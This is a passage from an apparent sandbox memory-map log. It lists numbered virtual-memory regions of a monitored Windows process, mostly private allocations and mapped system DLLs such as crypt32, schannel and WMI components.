0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 6356 start_va = 0x150000 end_va = 0x156fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 6357 start_va = 0x150000 end_va = 0x150fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 6358 start_va = 0x150000 end_va = 0x156fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 6359 start_va = 0x150000 end_va = 0x150fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 6360 start_va = 0x150000 end_va = 0x156fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 6361 start_va = 0x7fefd240000 end_va = 0x7fefd29afff monitored = 0 entry_point = 0x7fefd246940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 6362 start_va = 0x1bdc0000 end_va = 0x1bffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bdc0000" filename = "" Region: id = 6363 start_va = 0x7fef9c00000 end_va = 0x7fef9c07fff monitored = 0 entry_point = 0x7fef9c01414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 6369 start_va = 0x7fefb3e0000 end_va = 0x7fefb432fff monitored = 0 entry_point = 0x7fefb3e2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6370 start_va = 0x1bdc0000 end_va = 0x1bf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bdc0000" filename = "" Region: id = 6371 start_va = 0x1bf80000 end_va = 0x1bffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bf80000" filename = "" Region: id = 6375 start_va = 0x7fe920b0000 end_va = 0x7fe920bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe920b0000" filename = "" Region: id = 6376 start_va = 0x7fefd9c0000 end_va = 0x7fefd9cafff monitored = 0 entry_point = 0x7fefd9c1030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 6377 start_va = 0x7fefd1b0000 end_va = 0x7fefd206fff monitored = 0 entry_point = 0x7fefd1b5e38 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 6378 start_va = 0x7fefdc40000 end_va = 0x7fefddacfff monitored = 0 entry_point = 0x7fefdc410b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 6379 start_va = 0x7fefdbd0000 end_va = 0x7fefdbdefff monitored = 0 entry_point = 0x7fefdbd1020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 6380 start_va = 0x7fefd5c0000 end_va = 0x7fefd60ffff monitored = 0 entry_point = 0x7fefd5c11e0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 6381 start_va = 0x7fefd060000 end_va = 0x7fefd0abfff monitored = 0 entry_point = 0x7fefd067950 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6382 start_va = 0x1c060000 end_va = 0x1c15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c060000" filename = "" Region: id = 6383 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 6384 start_va = 0x7ffffef2000 end_va = 0x7ffffef3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef2000" filename = "" Region: id = 6385 start_va = 0x1c160000 end_va = 0x1c35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c160000" filename = "" Region: id = 6386 start_va = 0x7fefceb0000 end_va = 0x7fefcecafff monitored = 0 entry_point = 0x7fefceb2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 6387 start_va = 0x150000 end_va = 0x159fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 6394 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6395 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6396 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6397 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6398 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6399 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6400 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6401 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6402 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 6403 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6404 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6405 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6406 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6407 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6408 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6409 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6410 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6411 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6412 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6413 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6414 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6415 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 6416 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6417 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 6418 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 6419 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 6420 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6421 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6422 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 6423 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 6424 start_va = 0x750000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 6425 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6426 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6427 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6428 start_va = 0x1af30000 end_va = 0x1af6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af30000" filename = "" Region: id = 6429 start_va = 0x7ffffef0000 end_va = 0x7ffffef1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef0000" filename = "" Region: id = 6430 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6431 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6432 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6433 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6434 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6435 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6436 start_va = 0x2140000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 6437 start_va = 0x1c3e0000 end_va = 0x1c4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c3e0000" filename = "" Region: id = 6438 start_va = 0x7ffffeec000 end_va = 0x7ffffeedfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffeec000" filename = "" Region: id = 6439 start_va = 0x7ffffeee000 end_va = 0x7ffffeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffeee000" filename = "" Region: id = 6440 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6441 start_va = 0x1c500000 end_va = 0x1c5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c500000" filename = "" Region: id = 6442 start_va = 0x7ffffeea000 end_va = 0x7ffffeebfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffeea000" filename = "" Region: id = 6443 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6444 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6445 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6446 start_va = 0x1c660000 end_va = 0x1c75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c660000" filename = "" Region: id = 6447 start_va = 0x7ffffee8000 end_va = 0x7ffffee9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffee8000" filename = "" Region: id = 6448 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6449 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6450 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6451 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6452 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6453 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6454 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6455 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6456 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6457 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6458 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6459 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6460 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6461 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6462 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6463 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6464 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6465 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6466 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6467 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6468 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6469 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6470 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6471 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6472 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6473 start_va = 0x1c850000 end_va = 0x1c94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c850000" filename = "" Region: id = 6474 start_va = 0x7ffffeea000 end_va = 0x7ffffeebfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffeea000" filename = "" Region: id = 6475 start_va = 0x7fef36e0000 end_va = 0x7fef3845fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\b221af81285c1305324612e6dc9c88ff\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\b221af81285c1305324612e6dc9c88ff\\system.management.ni.dll") Region: id = 6476 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6477 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6478 start_va = 0x7fef4610000 end_va = 0x7fef463ffff monitored = 1 entry_point = 0x7fef4616930 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wminet_utils.dll") Region: id = 6479 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6480 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6481 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6482 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6483 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6484 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6485 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6486 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6487 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6488 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6489 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6490 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6491 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6492 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6493 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6494 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6495 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6496 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6497 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6498 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6499 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6500 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6501 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6502 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6503 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6504 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6505 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6506 start_va = 0x7fe920c0000 end_va = 0x7fe920cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe920c0000" filename = "" Region: id = 6507 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6508 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6509 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6510 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6511 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6512 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6513 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6514 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6515 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6516 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6517 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6518 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6519 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6520 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6521 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6522 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6523 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6524 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6525 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6526 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6527 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 6528 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6529 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6530 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6531 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6532 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6533 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6534 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6535 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6536 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6537 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 6538 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 6539 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6540 start_va = 0x7fe920d0000 end_va = 0x7fe920dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe920d0000" filename = "" Region: id = 6553 start_va = 0x3d0000 end_va = 0x3d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 6554 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 6555 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6556 start_va = 0x480000 end_va = 0x480fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 6557 start_va = 0x7fef9ec0000 end_va = 0x7fef9ee0fff monitored = 0 entry_point = 0x7fef9ed03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 6558 start_va = 0x7fefa4f0000 end_va = 0x7fefa566fff monitored = 0 entry_point = 0x7fefa52e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 6559 start_va = 0x7fefa250000 end_va = 0x7fefa25dfff monitored = 0 entry_point = 0x7fefa255500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 6560 start_va = 0x490000 end_va = 0x491fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 6561 start_va = 0x7fef9f90000 end_va = 0x7fef9fa2fff monitored = 0 entry_point = 0x7fef9f91d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 6562 start_va = 0x7fefa290000 end_va = 0x7fefa362fff monitored = 0 entry_point = 0x7fefa308b00 